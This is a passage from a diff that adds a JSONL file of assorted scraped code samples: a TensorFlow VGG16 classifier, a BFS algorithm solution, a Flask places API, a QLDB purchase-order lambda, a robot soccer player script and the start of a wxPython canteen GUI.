diff --git "a/2360.jsonl" "b/2360.jsonl" new file mode 100644--- /dev/null +++ "b/2360.jsonl" @@ -0,0 +1,703 @@ +{"seq_id":"518342835","text":"\"\"\"Implementation of defense.\n The code is based on\n https://github.com/tensorflow/cleverhans/tree/master/examples/\n nips17_adversarial_competition/sample_defenses/base_inception_model/defense.py\n\nThis defense loads vgg_16 checkpoint and classifies all images\nusing loaded checkpoint.\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\n\nimport numpy as np\nfrom scipy.misc import imread, imresize\n\nimport tensorflow as tf\nfrom tensorflow.contrib.slim.nets import vgg\nimport vgg_preprocessing as vgg_pre\n\nslim = tf.contrib.slim\n\n\ntf.flags.DEFINE_string(\n 'master', '', 'The address of the TensorFlow master to use.')\n\ntf.flags.DEFINE_string(\n 'checkpoint_path', 'vgg_16.ckpt',\n 'Path to checkpoint for inception network.')\n\ntf.flags.DEFINE_string(\n 'input_dir', '../../dataset/images_4', 'Input directory with images.')\n\ntf.flags.DEFINE_string(\n 'output_file',\n '../../intermediate_results/defenses_output/vgg16_model/result.csv',\n 'Output file to save labels.')\n\ntf.flags.DEFINE_integer(\n 'image_width', 224, 'Width of each input images.')\n\ntf.flags.DEFINE_integer(\n 'image_height', 224, 'Height of each input images.')\n\ntf.flags.DEFINE_integer(\n 'batch_size', 20, 'How many images process at one time.')\n\nFLAGS = tf.flags.FLAGS\nimage_size = vgg.vgg_16.default_image_size\nvgg_image_mean = [vgg_pre._R_MEAN, vgg_pre._G_MEAN, vgg_pre._B_MEAN]\n\n\ndef load_images(input_dir, batch_shape):\n \"\"\"Read png images from input directory in batches.\n\n Args:\n input_dir: input directory\n batch_shape: shape of minibatch array, i.e. [batch_size, height, width, 3]\n\n Yields:\n filenames: list file names without path of each image\n Lenght of this list could be less than batch_size, in this case only\n first few images of the result are elements of the minibatch.\n images: array with all images from this batch\n \"\"\"\n images = np.zeros(batch_shape)\n filenames = []\n idx = 0\n batch_size = batch_shape[0]\n for filepath in tf.gfile.Glob(os.path.join(input_dir, '*.png')):\n with tf.gfile.Open(filepath, 'rb') as f:\n image = imread(f, mode='RGB')\n image = imresize(image, (image_size, image_size)).astype(np.float)\n # image -= image.mean(axis=(0, 1))\n image -= vgg_image_mean\n\n # Images for inception classifier are normalized to be in [-1, 1] interval.\n images[idx, :, :, :] = image\n filenames.append(os.path.basename(filepath))\n idx += 1\n if idx == batch_size:\n yield filenames, images\n filenames = []\n images = np.zeros(batch_shape)\n idx = 0\n if idx > 0:\n yield filenames, images\n\n\ndef main(_):\n batch_shape = [FLAGS.batch_size, FLAGS.image_height, FLAGS.image_width, 3]\n num_classes = 1000\n\n tf.logging.set_verbosity(tf.logging.INFO)\n\n with tf.Graph().as_default():\n # Prepare graph\n x_input = tf.placeholder(tf.float32, shape=batch_shape)\n\n with slim.arg_scope(vgg.vgg_arg_scope()):\n logits, _ = vgg.vgg_16(\n x_input, num_classes=num_classes, is_training=False)\n predicted_labels = tf.argmax(logits, 1) + 1\n\n # Run computation\n saver = tf.train.Saver(slim.get_model_variables())\n session_creator = tf.train.ChiefSessionCreator(\n scaffold=tf.train.Scaffold(saver=saver),\n checkpoint_filename_with_path=FLAGS.checkpoint_path,\n master=FLAGS.master)\n\n with tf.train.MonitoredSession(session_creator=session_creator) as sess:\n with tf.gfile.Open(FLAGS.output_file, 'w') as out_file:\n for filenames, images in load_images(FLAGS.input_dir, batch_shape):\n labels = sess.run(predicted_labels, feed_dict={x_input: images})\n for filename, label in zip(filenames, labels):\n out_file.write('{0},{1}\\n'.format(filename, label))\n\n\nif __name__ == '__main__':\n tf.app.run()\n","sub_path":"models_defenses/base_vgg16/defense.py","file_name":"defense.py","file_ext":"py","file_size_in_byte":3844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"233232180","text":"import sys\nimport heapq\ninput = sys.stdin.readline\n\na, b = map(int, input().split())\nn, m = map(int, input().split())\n\ngraph = [[] for i in range(n+1)]\nfor i in range(m):\n t1, t2 = map(int, input().split())\n graph[t1].append(t2)\n graph[t2].append(t1)\n\nINF = 1e9\nq = []\ndistance = [INF] * (n+1)\n\nheapq.heappush(q, (0, a))\ndistance[a] = 0\nwhile q:\n dist, now = heapq.heappop(q)\n\n if dist > distance[now]:\n continue\n\n for i in graph[now]:\n cost = dist + 1\n if cost < distance[i]:\n distance[i] = cost\n heapq.heappush(q, (cost, i))\n\nif distance[b] != INF:\n print(distance[b])\nelse:\n print(-1)","sub_path":"baekjoon/14496.py","file_name":"14496.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"211135997","text":"#!/usr/bin/python3\n\"\"\" RestApi request/response Place Managment\n\"\"\"\nfrom flask import jsonify, abort, make_response, request\nfrom api.v1.views import app_views\nfrom models.user import User\nfrom models import storage\nfrom models.place import Place\nfrom models.city import City\nfrom models.state import State\n\n\n@app_views.route(\"/cities//places\", strict_slashes=False,\n methods=[\"GET\"])\ndef getPlaceAll(city_id=None):\n \"\"\" Get All Place response\n \"\"\"\n city = storage.get(City, city_id)\n if not city:\n abort(404)\n listPlaces = []\n for key in city.places:\n listPlaces.append(key.to_dict())\n return jsonify(listPlaces)\n\n\n@app_views.route(\"/places/\", methods=[\"GET\"])\ndef getPlace(place_id=None):\n \"\"\" Get Place response\n \"\"\"\n if place_id:\n place = storage.get(Place, place_id)\n if not place:\n abort(404)\n return jsonify(place.to_dict())\n\n\n@app_views.route('/places/', methods=['DELETE'])\ndef delPlace(place_id=None):\n \"\"\" Del Place response\n \"\"\"\n place = storage.get(Place, place_id)\n if place:\n storage.delete(place)\n storage.save()\n return make_response(jsonify({}), 200)\n abort(404)\n\n\n@app_views.route('/cities//places', strict_slashes=False,\n methods=['POST'])\ndef postPlace(city_id=None):\n \"\"\" make Place post request\n \"\"\"\n if request.get_json():\n city = storage.get(City, city_id)\n if city:\n if 'user_id' not in request.get_json():\n abort(400, description=\"Missing user_id\")\n userRequest = request.get_json()\n user = storage.get(User, userRequest['user_id'])\n if not user:\n abort(404)\n if 'name' not in userRequest:\n abort(400, description=\"Missing name\")\n userRequest[\"city_id\"] = city_id\n data_Json = Place(**userRequest)\n data_Json.save()\n return make_response(jsonify(data_Json.to_dict()), 201)\n abort(404)\n abort(400, description=\"Not a JSON\")\n\n\n@app_views.route('/places/', strict_slashes=False,\n methods=['PUT'])\ndef putPlace(place_id=None):\n \"\"\" Update Place response\n \"\"\"\n ignored_keys = ['id', 'created_at', 'updated_at', 'user_id', 'city_id']\n requested = request.get_json()\n if requested:\n place = storage.get(Place, place_id)\n if place:\n for key, value in requested.items():\n if key not in ignored_keys:\n setattr(place, key, value)\n place.save()\n return make_response(jsonify(place.to_dict()), 200)\n abort(404)\n abort(400, description=\"Not a JSON\")\n","sub_path":"api/v1/views/places.py","file_name":"places.py","file_ext":"py","file_size_in_byte":2754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"160635040","text":"from logging import basicConfig, getLogger, INFO\nfrom connect_to_ledger import create_qldb_driver\nfrom amazon.ion.simpleion import dumps, loads\nlogger = getLogger(__name__)\nbasicConfig(level=INFO)\n\nfrom sampledata.sample_data import document_exist,get_value_from_documentid,get_document_ids,convert_object_to_ion\nfrom insert_document import insert_documents\nfrom constants import Constants\nfrom register_person import get_scentityid_from_personid, get_index_number\nfrom accept_purchase_order import inventory_table_already_exist\nfrom approve_delivery import product_exist_in_inventory\n\n## minimum selling amount is set by distributor in inventory table in the multiple of Cases for example 10 cases\n## can only be ordered in multiple of cases ex 11\n## create purchase order for hospital \n\n\ndef create_purchase_order_to_distributor(transaction_executor,purchase_order_details,distributor_id,hospital_person_id):\n \n product_id = purchase_order_details[\"ProductId\"]\n number_of_containers_ordered = purchase_order_details[\"OrderQuantity\"]\n\n if document_exist(transaction_executor,Constants.SCENTITY_TABLE_NAME,distributor_id):\n # check person belong to ScEntity\n actual_sc_entity_id = get_scentityid_from_personid(transaction_executor, hospital_person_id)\n if actual_sc_entity_id:\n manufacturer_id = get_value_from_documentid(transaction_executor,Constants.PRODUCT_TABLE_NAME,product_id,\"ManufacturerId\")\n # print(manufacturer_id)\n if manufacturer_id[0] != distributor_id:\n # scentity_type_code = get_value_from_documentid(transaction_executor,Constants.SCENTITY_TABLE_NAME,distributor_id,\"ScEntityTypeCode\")\n logger.info(\"Distributor confirmed\") \n inventory_table = inventory_table_already_exist(transaction_executor,distributor_id)\n if inventory_table:\n #check product exist with distributor\n if product_exist_in_inventory(transaction_executor,inventory_table[0],product_id):\n # check number of dosage are in muliple of cases and more than minumum amount\n inventory_id = next(get_document_ids(transaction_executor,inventory_table[0],\"ProductId\",product_id))\n minimum_containers_order = get_value_from_documentid(transaction_executor,inventory_table[0],inventory_id,\"MinimumSellingAmount\")\n print(minimum_containers_order)\n \n if number_of_containers_ordered >= minimum_containers_order[0] and isinstance(number_of_containers_ordered,int):\n \n purchase_order_number = get_index_number(transaction_executor, Constants.PURCHASE_ORDER_TABLE_NAME,\"PurchaseOrderNumber\")\n purchase_order_details.update({\"OrderType\": \"2\"})\n purchase_order_details['Orderer'].update({'isOrderShipped': False})\n purchase_order_details.update({\"PurchaseOrderNumber\": purchase_order_number})\n purchase_order_details['Orderer'].update({'OrdererScEntityId': actual_sc_entity_id})\n purchase_order_details['Orderer'].update({'OrdererPersonId': hospital_person_id})\n purchase_order = {**purchase_order_details,\"Acceptor\":{\"isOrderAccepted\":False,\"AcceptorScEntityId\":distributor_id,\"ApprovingPersonId\":\"\"},\"InvoiceId\":\"\",\"HighestPackagingLevelIds\":[],\"HighestPackagingLevelType\": \"Containers\"}\n purchase_order_id = insert_documents(transaction_executor,Constants.PURCHASE_ORDER_TABLE_NAME,convert_object_to_ion(purchase_order))\n message =\"Order was placed sucessfully with id: {}\".format(purchase_order_id)\n purchase_order[\"PurchaseOrderId\"] = purchase_order_id[0]\n logger.info(\" ================================== O R D E R =========== P L A C E D ===============================\")\n return{\n 'statusCode': 200,\n 'body': {\n \"Message\":message,\n \"PurchaseOrder\":purchase_order}\n \n }\n \n else:\n return_statement = \"Number of dosage must be an integer and greater than {} \".format(minimum_containers_order)\n return{\n 'statusCode': 400,\n 'body': return_statement}\n else:\n return_statement = \"Distributor doesn't have this product.\"\n return{\n 'statusCode': 400,\n 'body': return_statement}\n else:\n return_statement = \"Distributor does not have any inventory\"\n return{\n 'statusCode': 400,\n 'body': return_statement}\n else:\n return_statement = \"Order is being placed to wrong entity. Check Distributor_id\"\n return{\n 'statusCode': 400,\n 'body': return_statement}\n else:\n return_statement = \"Check the person id!\"\n return{\n 'statusCode': 400,\n 'body': return_statement}\n else:\n return_statement = \" Check Distributor id!\"\n return{\n 'statusCode': 400,\n 'body': return_statement}\n\n\n\ndef create_distributor_purchase_order(event):\n try:\n with create_qldb_driver() as driver:\n purchaseorderdetails = event[\"PurchaseOrder\"]\n # must be passed down as a prop from the react state\n distributorid = event[\"DistributorId\"]\n hospitalpersonid = event[\"PersonId\"] #change this <<<<---------------------------\n return driver.execute_lambda(lambda executor: create_purchase_order_to_distributor(executor,purchaseorderdetails,distributorid,hospitalpersonid))\n except Exception:\n return_statement = 'Error creating order.'\n return{\n 'statusCode': 400,\n 'body': return_statement}","sub_path":"lambda/qldb/create_purchase_order_to_distributor.py","file_name":"create_purchase_order_to_distributor.py","file_ext":"py","file_size_in_byte":6423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"190871285","text":"class Company(object):\n def __init__(self, employee_list):\n self.employee = employee_list\n\n def __getitem__(self, index):\n return self.employee[index]\n\n\ncompany = Company(['tom', 'bob', 'jane'])\n\nfor em in company:\n print(em)\n\n# for 会一直调用,直到捕捉到异常\n\"\"\"\ntom\nbob\njane\n\"\"\"\n\nprint(company[:2])\n\"\"\"\n['tom', 'bob']\n\"\"\"\n\n# 这个我测试了:3.6.6 和 3.7.2 都不行\nprint(len(company))\n\"\"\"\nTraceback (most recent call last):\n File \"company.py\", line 26, in \n print(len(company))\nTypeError: object of type 'Company' has no len()\n\"\"\"\n","sub_path":"chapter02/company.py","file_name":"company.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"254612815","text":"#!/usr/bin/env python3\n\n# Author(s): Taeyoung Kim, Chansol Hong, Luiz Felipe Vecchietti\n# Maintainer: Chansol Hong (cshong@rit.kaist.ac.kr)\n\nimport os\nimport sys\n\nsys.path.append(os.path.dirname(os.path.realpath(__file__)) + '/../common')\ntry:\n from participant import Game, Frame\nexcept ImportError as err:\n print('player_rulebasedH: \\'participant\\' module cannot be imported:', err)\n raise\n\nimport math\n\nimport helper\nfrom action import ActionControl\n\n#reset_reason\nNONE = Game.NONE\nGAME_START = Game.GAME_START\nSCORE_MYTEAM = Game.SCORE_MYTEAM\nSCORE_OPPONENT = Game.SCORE_OPPONENT\nGAME_END = Game.GAME_END\nDEADLOCK = Game.DEADLOCK\nGOALKICK = Game.GOALKICK\nCORNERKICK = Game.CORNERKICK\nPENALTYKICK = Game.PENALTYKICK\nHALFTIME = Game.HALFTIME\nEPISODE_END = Game.EPISODE_END\n\n#game_state\nSTATE_DEFAULT = Game.STATE_DEFAULT\nSTATE_KICKOFF = Game.STATE_KICKOFF\nSTATE_GOALKICK = Game.STATE_GOALKICK\nSTATE_CORNERKICK = Game.STATE_CORNERKICK\nSTATE_PENALTYKICK = Game.STATE_PENALTYKICK\n\n#coordinates\nMY_TEAM = Frame.MY_TEAM\nOP_TEAM = Frame.OP_TEAM\nBALL = Frame.BALL\nX = Frame.X\nY = Frame.Y\nZ = Frame.Z\nTH = Frame.TH\nACTIVE = Frame.ACTIVE\nTOUCH = Frame.TOUCH\nBALL_POSSESSION = Frame.BALL_POSSESSION\n\nclass TeamK:\n\n def __init__(self, field, goal, penalty_area, goal_area, robot_size, max_linear_velocity):\n self.field = field\n self.goal = goal\n self.penalty_area = penalty_area\n self.goal_area = goal_area\n self.robot_size = robot_size\n self.max_linear_velocity = max_linear_velocity\n self.gk_index = 0\n self.d1_index = 1\n self.d2_index = 2\n self.f1_index = 3\n self.f2_index = 4\n self.pass_count = 0\n self.cross_count = 0\n self.shoot_count = 0\n self.gk_target_robot_id = self.gk_index\n self.d1_target_robot_id = self.d1_index\n self.d2_target_robot_id = self.d2_index\n self.f1_target_robot_id = self.f1_index\n self.f2_target_robot_id = self.f2_index\n self.action = ActionControl(max_linear_velocity)\n self.robot_height = 0.421\n self.flag = 0\n\n def reset_counter(self):\n self.pass_count = 0\n self.cross_count = 0\n self.shoot_count = 0 \n\n def move(self, idx, idx_opp, defense_angle, attack_angle, cur_posture, cur_posture_opp, \n prev_posture, prev_posture_opp, prev_ball, cur_ball, predicted_ball, reset_reason, game_state):\n \n self.action.update_state(cur_posture, prev_posture, cur_ball, prev_ball, reset_reason)\n \n # GK variables\n gk_protection_radius = self.goal_area[Y]/2 - 0.1\n gk_protection_x = math.cos(defense_angle) * gk_protection_radius - self.field[X]/2\n gk_protection_y = math.sin(defense_angle) * gk_protection_radius\n # D1 variables\n d1_protection_radius = 1.7\n d1_protection_x = math.cos(defense_angle) * d1_protection_radius - self.field[X]/2\n d1_protection_y = math.sin(defense_angle) * d1_protection_radius\n\n if game_state == STATE_DEFAULT:\n\n # GK ZONE\n if helper.ball_is_gk_zone(predicted_ball, self.field, self.goal_area):\n # GK\n gk_control = self.action.defend_ball(self.gk_index)\n if gk_control == None:\n if (cur_posture[self.gk_index][BALL_POSSESSION]):\n gk_control = self.action.shoot_to(self.gk_index, 0, 0, 10, 10)\n else:\n if -self.field[X]/2 - 0.05 < cur_posture[self.gk_index][X] < -self.field[X]/2 + 0.15 and -0.02 < cur_posture[self.gk_index][Y] < 0.02:\n gk_control = self.action.turn_to(self.gk_index, 0, 0)\n else:\n gk_control = self.action.go_to(self.gk_index, -self.field[X]/2, 0)\n # D1\n d1_control = self.action.go_to(self.d1_index, -5.0, self.penalty_area[Y]/2)\n # D2\n d2_control = self.action.go_to(self.d2_index, -5.0, -self.penalty_area[Y]/2)\n # F1\n f1_control = self.action.go_to(self.f1_index, -3.9, 1)\n # F2\n f2_control = self.action.go_to(self.f2_index, -3.9, -1)\n self.flag = 1\n # D1 ZONE\n elif helper.ball_is_d1_zone(predicted_ball, self.field, self.penalty_area):\n # GK\n gk_control = self.action.defend_ball(self.gk_index)\n if gk_control == None:\n if (cur_posture[self.gk_index][BALL_POSSESSION]):\n gk_control = self.action.shoot_to(self.gk_index, 0, 0, 10, 10)\n else:\n if -self.field[X]/2 - 0.05 < cur_posture[self.gk_index][X] < -self.field[X]/2 + 0.15 and -0.02 < cur_posture[self.gk_index][Y] < 0.02:\n gk_control = self.action.turn_to(self.gk_index, 0, 0)\n else:\n gk_control = self.action.go_to(self.gk_index, -self.field[X]/2, 0)\n # D1\n if (self.d1_index == idx):\n if (cur_posture[self.d1_index][BALL_POSSESSION]):\n if self.pass_count == 0:\n self.d1_target_robot_id = self.d2_index if (cur_posture[self.d1_index][TH] > 0) else self.f1_index\n self.pass_count += 1\n else:\n self.pass_count += 1\n d1_control = self.action.shoot_to(self.d1_index, 0, 0, 10, 10)\n #d1_control = self.action.defend_ball(self.d1_index)\n #d1_control = self.action.turn_to(self.d1_index, 0, 0)\n else:\n if (cur_posture[self.d1_index][X] > predicted_ball[X]):\n d1_control = self.action.turn_to(self.d1_index, 0, 0)\n else:\n #d1_min_x = -self.field[X]/2 + self.goal_area[X] + 0.1\n d1_control = self.action.go_to(self.d1_index, -5.0, self.penalty_area[Y]/2)\n else:\n d1_control = self.action.go_to(self.d1_index, -5.0, self.penalty_area[Y]/2)\n # D2\n d2_control = self.action.go_to(self.d2_index, -5.0, -self.penalty_area[Y]/2)\n # F1\n f1_control = self.action.go_to(self.f1_index, -3.9, 1)\n # F2\n f2_control = self.action.go_to(self.f2_index, -3.9, -1)\n self.flag = 2\n # D2 ZONE\n elif helper.ball_is_d2_zone(predicted_ball, self.field):\n # GK\n gk_control = self.action.defend_ball(self.gk_index)\n if gk_control == None:\n if -self.field[X]/2 - 0.05 < cur_posture[self.gk_index][X] < -self.field[X]/2 + 0.15 and -0.02 < cur_posture[self.gk_index][Y] < 0.02:\n gk_control = self.action.turn_to(self.gk_index, 0, 0)\n else:\n gk_control = self.action.go_to(self.gk_index, -self.field[X]/2, 0)\n # D1\n d1_control = self.action.turn_to(self.d1_index, 0, 0)\n # D2\n if (cur_posture[self.d2_index][BALL_POSSESSION]):\n if self.pass_count == 0:\n self.d2_target_robot_id = self.f2_index if (cur_posture[self.d1_index][TH] > 0) else self.f1_index\n self.pass_count += 1\n else:\n self.pass_count += 1\n d2_control = self.action.shoot_to(self.d2_index, 0, 0, 10, 10)\n #d2_control = self.action.defend_ball(self.d2_index)\n #d2_control = self.action.turn_to(self.d2_index, 0, 0)\n else:\n if (cur_posture[self.d2_index][X] > predicted_ball[X]):\n d2_control = self.action.turn_to(self.d2_index, 0, 0)\n else:\n # d2_min_x = -self.field[X]/2 + self.goal_area[X] + 0.1\n d2_control = self.action.go_to(self.d2_index, -5.0, -self.penalty_area[Y]/2) \n # F1\n f1_control = self.action.go_to(self.f1_index, -3.9, 1)\n # F2\n if cur_ball[X] < 0:\n f2_control = self.action.go_to(self.f2_index, -3.9, -1)\n else:\n f2_control = self.action.go_to(self.f2_index, -3.9, -1)\n self.flag = 3 #3\n # F1 ZONE\n elif helper.ball_is_f1_zone(predicted_ball, self.field):\n # GK\n gk_control = self.action.defend_ball(self.gk_index)\n if gk_control == None:\n if -self.field[X]/2 - 0.05 < cur_posture[self.gk_index][X] < -self.field[X]/2 + 0.15 and -0.02 < cur_posture[self.gk_index][Y] < 0.02:\n gk_control = self.action.turn_to(self.gk_index, 0, 0)\n else:\n gk_control = self.action.go_to(self.gk_index, -self.field[X]/2, 0)\n # D1\n d1_control = self.action.go_to(self.d1_index, -5.0, self.penalty_area[Y]/2)\n # D2\n d2_control = self.action.go_to(self.d2_index, -5.0, -self.penalty_area[Y]/2)\n # F1\n if (cur_posture[self.f1_index][BALL_POSSESSION]):\n if self.cross_count == 0:\n self.f1_target_robot_id = self.f2_index\n self.cross_count += 1\n else:\n self.cross_count += 1\n f1_control = self.action.shoot_to(self.f1_index, 0, 0, 10, 10)\n if f1_control == None:\n self.f1_target_robot_id = self.d2_index\n #f1_control = self.action.defend_ball(self.f1_index)\n #f1_control = self.action.turn_to(self.f1_index, 0, 0)\n f1_control = self.action.pass_to(self.f1_index, cur_posture[self.f1_target_robot_id][X], cur_posture[self.f1_target_robot_id][Y])\n else:\n if (cur_posture[self.f1_index][X] > predicted_ball[X]):\n f1_control = self.action.go_to(self.f1_index, -3.9, 1)\n else:\n #f1_min_x = -self.field[X]/2 + self.goal_area[X] + 0.1\n f1_control = self.action.go_to(self.f1_index, -3.9, 1)\n # F2 \n if cur_ball[X] < 0:\n f2_control = self.action.go_to(self.f2_index, -3.9, -1)\n else:\n f2_control = self.action.go_to(self.f2_index, -3.9, -1)\n self.flag = 4\n # F2 ZONE\n else:\n # GK\n gk_control = self.action.defend_ball(self.gk_index)\n if gk_control == None:\n if -self.field[X]/2 - 0.05 < cur_posture[self.gk_index][X] < -self.field[X]/2 + 0.15 and -0.02 < cur_posture[self.gk_index][Y] < 0.02:\n gk_control = self.action.turn_to(self.gk_index, 0, 0)\n else:\n gk_control = self.action.go_to(self.gk_index, -self.field[X]/2, 0)\n # D1\n d1_control = self.action.go_to(self.d1_index, -5.0, self.penalty_area[Y]/2)\n # D2\n d2_control = self.action.go_to(self.d2_index, -5.0, -self.penalty_area[Y]/2)\n # F1\n f1_control = self.action.go_to(self.f1_index, -3.9, 1)\n # F2\n if (cur_posture[self.f2_index][BALL_POSSESSION]):\n self.shoot_count += 1\n f2_control = self.action.shoot_to(self.f2_index, 0, 0, 10, 10)\n else:\n f2_control = self.action.go_to(self.f2_index, -3.9, -1)\n self.flag = 6\n\n if (self.pass_count > 20 or self.cross_count > 20 or self.shoot_count > 20):\n self.reset_counter()\n\n elif game_state == STATE_GOALKICK:\n print('GOALKICK\\n')\n if helper.distance(cur_ball[X], cur_posture[self.gk_index][X], cur_ball[Y], cur_posture[self.gk_index][Y]) <= 0.2:\n gk_control = [0,0,10,8,0,0]\n else:\n gk_control = self.action.go_to(self.gk_index, cur_ball[X], cur_ball[Y])\n d1_control = [0, 0, 0, 0, 0, 0]\n d2_control = [0, 0, 0, 0, 0, 0]\n f1_control = [0, 0, 0, 0, 0, 0]\n f2_control = [0, 0, 0, 0, 0, 0]\n elif game_state == STATE_CORNERKICK:\n print('CORNERKICK\\n')\n gk_control = [0, 0, 0, 0, 0, 0]\n d1_control = [0, 0, 0, 0, 0, 0]\n d2_control = [0, 0, 0, 0, 0, 0]\n f1_control = [0, 0, 0, 0, 0, 0]\n if helper.distance(cur_ball[X], cur_posture[self.f2_index][X], cur_ball[Y], cur_posture[self.f2_index][Y]) <= 0.2:\n f2_control = [0,0,7,5,0,0]\n else:\n f2_control = self.action.go_to(self.f2_index, cur_ball[X], cur_ball[Y])\n elif game_state == STATE_KICKOFF:\n print('KICKOFF\\n')\n gk_control = [0, 0, 0, 0, 0, 0]\n d1_control = [0, 0, 0, 0, 0, 0]\n d2_control = [0, 0, 0, 0, 0, 0]\n f1_control = [0, 0, 0, 0, 0, 0]\n if helper.distance(cur_ball[X], cur_posture[self.f2_index][X], cur_ball[Y], cur_posture[self.f2_index][Y]) <= 0.2:\n f2_control = [0,0,5,0,0,0]\n else:\n f2_control = self.action.go_to(self.f2_index, cur_ball[X], cur_ball[Y])\n elif game_state == STATE_PENALTYKICK:\n print('PENALTYKICK\\n')\n gk_control = [0, 0, 0, 0, 0, 0]\n d1_control = [0, 0, 0, 0, 0, 0]\n d2_control = [0, 0, 0, 0, 0, 0]\n f1_control = [0, 0, 0, 0, 0, 0]\n if helper.distance(cur_ball[X], cur_posture[self.f2_index][X], cur_ball[Y], cur_posture[self.f2_index][Y]) <= 0.3:\n f2_control = [1.5,2.5,0,0,0,0]\n else:\n f2_control = self.action.go_to(self.f2_index, cur_ball[X], cur_ball[Y])\n else:\n gk_control = [0, 0, 0, 0, 0, 0]\n d1_control = [0, 0, 0, 0, 0, 0]\n d2_control = [0, 0, 0, 0, 0, 0]\n f1_control = [0, 0, 0, 0, 0, 0]\n f2_control = [0, 0, 0, 0, 0, 0]\n\n return gk_control + d1_control + d2_control + f1_control + f2_control","sub_path":"rule-based/Code/player_rulebasedH_py/players.py","file_name":"players.py","file_ext":"py","file_size_in_byte":14598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"223175656","text":"import wx\nimport json\nimport time\nimport wx.adv\n\nformat = \"%A, %d/%m/%y, %H:%M\"\nrealtime = time.strftime(format, time.localtime())\nchoice_hour = ['00', '01', '02', '03', '05', '06', '07', '08', '09', '10',\n '11', '12', '13', '14', '15', '16', '17', '18', '19', '20',\n '21', '22', '23']\nchoice_minute = []\nfor i in range(60):\n if i%5 == 0:\n if len(str(i))==1:\n choice_minute.append(\"0\"+str(i))\n else:\n choice_minute.append(str(i))\n\n\n# ---------------------------------------- FRAME ----------------------------------\nclass MyFrame(wx.Frame):\n def __init__(self, parent, title):\n super(MyFrame, self).__init__(parent, title=title, size=(800, 650))\n\n self.panel = MyPanel(self)\n self.today_panel = Today(self)\n self.anotherday_panel = AnotherDay(self)\n self.miniwok_a = MiniWok_A(self)\n self.miniwok_t = MiniWok_T(self)\n\n self.today_panel.Hide()\n self.anotherday_panel.Hide()\n self.miniwok_a.Hide()\n self.miniwok_t.Hide()\n\n self.sizer = wx.BoxSizer(wx.VERTICAL)\n self.sizer.Add(self.panel, 1, wx.EXPAND)\n self.sizer.Add(self.today_panel, 1, wx.EXPAND)\n self.sizer.Add(self.anotherday_panel, 1, wx.EXPAND)\n self.sizer.Add(self.miniwok_a, 1, wx.EXPAND)\n self.sizer.Add(self.miniwok_t, 1, wx.EXPAND)\n self.SetSizer(self.sizer)\n\n # Create the icon for the app\n self.SetIcon(wx.Icon(\"images/icon.png\", wx.BITMAP_TYPE_PNG))\n\n def OnClickToday(self, event):\n \"\"\" Go to Today panel after click on \"View Today's Stores\".\"\"\"\n self.panel.Hide()\n self.today_panel.Show() #####\n self.anotherday_panel.Hide()\n self.miniwok_a.Hide()\n self.miniwok_t.Hide()\n self.Layout()\n\n def OnClickAnother(self, event):\n \"\"\"Go to Another panel after click on 'View stores by other dates'. \"\"\"\n self.panel.Hide()\n self.today_panel.Hide()\n self.anotherday_panel.Show() #####\n self.miniwok_a.Hide()\n self.miniwok_t.Hide()\n self.Layout()\n\n def OnClickBack_Panel(self, event):\n \"\"\"Go back to Today panel.\"\"\"\n self.panel.Show() #####\n self.today_panel.Hide()\n self.anotherday_panel.Hide()\n self.miniwok_a.Hide()\n self.miniwok_t.Hide()\n self.Layout()\n\n def OnClick_MiniWok_T(self, event):\n \"\"\"Go to today's Mini Wok menu.\"\"\"\n self.panel.Hide()\n self.today_panel.Hide()\n self.anotherday_panel.Hide()\n self.miniwok_a.Hide() #####\n self.miniwok_t.Show()\n self.Layout()\n\n def OnClick_MiniWok_A(self, event):\n \"\"\"Go to another day's Mini Wok menu.\"\"\"\n with open(\"date_time.txt\", 'w') as file_w:\n file_w.write(str(self.anotherday_panel.calendar.GetDate().Format(format)))\n print(\"Write successfully\")\n self.panel.Hide()\n self.today_panel.Hide()\n self.anotherday_panel.Hide()\n self.miniwok_a.Show() #####\n self.miniwok_t.Hide()\n self.Layout()\n\n# ------------------------------- HOME PANEL -------------------------------------\nclass MyPanel(wx.Panel):\n def __init__(self, parent):\n super(MyPanel, self).__init__(parent)\n self.SetBackgroundColour(\"white\")\n\n # Welcome text\n self.welcome1 = wx.StaticText(self, label=\"NANYANG TECHNOLOGICAL UNIVERSITY\", pos=(100, 45))\n self.welcome2 = wx.StaticText(self, label=\"WELCOME TO NTU NORTH SPINE CANTEEN SYSTEM\", pos=(30, 85))\n font = wx.Font(20, wx.DEFAULT, wx.NORMAL, wx.BOLD)\n self.welcome1.SetFont(font)\n self.welcome2.SetFont(font)\n\n # View today's store button\n self.today_button = wx.Button(self, label=\"View Today's stores\", pos=(245, 150), size=(300,50))\n font13 = wx.Font(13, wx.DEFAULT, wx.NORMAL, wx.FONTWEIGHT_BOLD)\n self.today_button.SetFont(font13)\n self.today_button.SetBackgroundColour(\"violet\")\n self.today_button.SetForegroundColour(\"white\")\n self.today_button.Bind(wx.EVT_BUTTON, parent.OnClickToday)\n\n # View stores by another date\n self.anotherday_button = wx.Button(self, label=\"View stores by other dates\", pos=(245, 205), size=(300, 50))\n self.anotherday_button.SetFont(font13)\n self.anotherday_button.SetBackgroundColour(\"violet\")\n self.anotherday_button.SetForegroundColour(\"white\")\n self.anotherday_button.Bind(wx.EVT_BUTTON, parent.OnClickAnother)\n\n # add an image\n self.background = wx.StaticBitmap(self, size=(500,500), pos=(210,260))\n self.background.SetBitmap(wx.Bitmap(\"images/welcome_pic.jpg\"))\n\n\n# ------------------------- PANEL ---------------------------\n\nclass Today(wx.Panel):\n def __init__(self, parent):\n super(Today, self).__init__(parent)\n\n # DISPLAY REAL-TIME\n realtime_text = wx.StaticText(self, label=realtime, pos=(230, 35))\n font20 = wx.Font(20, wx.DEFAULT, wx.NORMAL, wx.FONTWEIGHT_BOLD)\n realtime_text.SetFont(font20)\n\n # STORE BUTTONS\n # --- line 1\n self.MiniWok_btn = wx.Button(self, label=\"Mini 